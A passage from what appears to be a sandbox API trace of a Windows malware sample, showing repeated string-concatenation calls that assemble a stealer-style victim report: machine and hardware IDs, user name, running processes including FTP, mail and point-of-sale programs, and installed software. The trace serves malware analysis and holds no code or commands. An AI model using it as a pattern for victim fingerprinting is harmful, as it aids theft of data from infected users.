C++ 2012 x86 Minimum Runtime - 11.0.61030 [11.0.61030]\nMicrosoft Visual C++ 2012 Redistributable (x64) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x86) - 12.0.30501 [12.0.30501.0]\nMicrosoft Visual C++ 2010 x86 Redistributable - 10.0.40219 [10.0.40219]\nMicrosoft Visual C++ 2013 x86 Additional Runtime - 12.0.21005 [12.0.21005") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Access MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Excel MUI (English) 2016 [16.0.4266.1001]\nMicrosoft PowerPoint MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Publisher MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Outlook MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Word MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Proofing Tools 2016 - English [16.0.4266.1001]\nOutils de vérification linguistique 2016 de Microsoft Office - Français [16.0.4266.1001]\nHerramientas de corrección de Microsoft Office 2016: español [16.0.4266.1001]\nMicrosoft Office Proofing (English) 2016 [16.0.4266.1001]\nMicrosoft InfoPath MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Shared MUI (English) 2016 [16.0.4266.1001]\nMicrosoft DCF MUI (English) 2016 [16.0.4266.1001]\nMicrosoft OneNote MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Groove MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office OSM MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office OSM UX MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Shared Setup Metadata MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Access Setup Metadata MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Skype for Business MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161 [9.0.30729.6161]\nMicrosoft Visual C++ 2012 x86 Additional Runtime - 11.0.61030 [11.0.61030]\nMicrosoft Visual C++ 2012 x86 Minimum Runtime - 11.0.61030 [11.0.61030]\nMicrosoft Visual C++ 2012 Redistributable (x64) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x86) - 12.0.30501 [12.0.30501.0]\nMicrosoft Visual C++ 2010 x86 Redistributable - 10.0.40219 [10.0.40219]\nMicrosoft Visual C++ 2013 x86 Additional Runtime - 12.0.21005 [12.0.21005"
[0054.983] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Access MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Excel MUI (English) 2016 [16.0.4266.1001]\nMicrosoft PowerPoint MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Publisher MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Outlook MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Word MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Proofing Tools 2016 - English [16.0.4266.1001]\nOutils de vérification linguistique 2016 de Microsoft Office - Français [16.0.4266.1001]\nHerramientas de corrección de Microsoft Office 2016: español [16.0.4266.1001]\nMicrosoft Office Proofing (English) 2016 [16.0.4266.1001]\nMicrosoft InfoPath MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Shared MUI (English) 2016 [16.0.4266.1001]\nMicrosoft DCF MUI (English) 2016 [16.0.4266.1001]\nMicrosoft OneNote MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Groove MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office OSM MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office OSM UX MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Shared Setup Metadata MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Access Setup Metadata MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Skype for Business MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161 [9.0.30729.6161]\nMicrosoft Visual C++ 2012 x86 Additional Runtime - 11.0.61030 [11.0.61030]\nMicrosoft Visual C++ 2012 x86 Minimum Runtime - 11.0.61030 [11.0.61030]\nMicrosoft Visual C++ 2012 Redistributable (x64) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x86) - 12.0.30501 [12.0.30501.0]\nMicrosoft Visual C++ 2010 x86 Redistributable - 10.0.40219 [10.0.40219]\nMicrosoft Visual C++ 2013 x86 Additional Runtime - 12.0.21005 [12.0.21005", lpString2="]" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Access MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Excel MUI (English) 2016 [16.0.4266.1001]\nMicrosoft PowerPoint MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Publisher MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Outlook MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Word MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Proofing Tools 2016 - English [16.0.4266.1001]\nOutils de vérification linguistique 2016 de Microsoft Office - Français [16.0.4266.1001]\nHerramientas de corrección de Microsoft Office 2016: español [16.0.4266.1001]\nMicrosoft Office Proofing (English) 2016 [16.0.4266.1001]\nMicrosoft InfoPath MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Shared MUI (English) 2016 [16.0.4266.1001]\nMicrosoft DCF MUI (English) 2016 [16.0.4266.1001]\nMicrosoft OneNote MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Groove MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office OSM MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office OSM UX MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Shared Setup Metadata MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Access Setup Metadata MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Skype for Business MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161 [9.0.30729.6161]\nMicrosoft Visual C++ 2012 x86 Additional Runtime - 11.0.61030 [11.0.61030]\nMicrosoft Visual C++ 2012 x86 Minimum Runtime - 11.0.61030 [11.0.61030]\nMicrosoft Visual C++ 2012 Redistributable (x64) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x86) - 12.0.30501 [12.0.30501.0]\nMicrosoft Visual C++ 2010 x86 Redistributable - 10.0.40219 [10.0.40219]\nMicrosoft Visual C++ 2013 x86 Additional Runtime - 12.0.21005 [12.0.21005]") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Access MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Excel MUI (English) 2016 [16.0.4266.1001]\nMicrosoft PowerPoint MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Publisher MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Outlook MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Word MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Proofing Tools 2016 - English [16.0.4266.1001]\nOutils de vérification linguistique 2016 de Microsoft Office - Français [16.0.4266.1001]\nHerramientas de corrección de Microsoft Office 2016: español [16.0.4266.1001]\nMicrosoft Office Proofing (English) 2016 [16.0.4266.1001]\nMicrosoft InfoPath MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Shared MUI (English) 2016 [16.0.4266.1001]\nMicrosoft DCF MUI (English) 2016 [16.0.4266.1001]\nMicrosoft OneNote MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Groove MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office OSM MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office OSM UX MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Shared Setup Metadata MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Access Setup Metadata MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Skype for Business MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161 [9.0.30729.6161]\nMicrosoft Visual C++ 2012 x86 Additional Runtime - 11.0.61030 [11.0.61030]\nMicrosoft Visual C++ 2012 x86 Minimum Runtime - 11.0.61030 [11.0.61030]\nMicrosoft Visual C++ 2012 Redistributable (x64) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x86) - 12.0.30501 [12.0.30501.0]\nMicrosoft Visual C++ 2010 x86 Redistributable - 10.0.40219 [10.0.40219]\nMicrosoft Visual C++ 2013 x86 Additional Runtime - 12.0.21005 [12.0.21005]"
[0054.983] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- 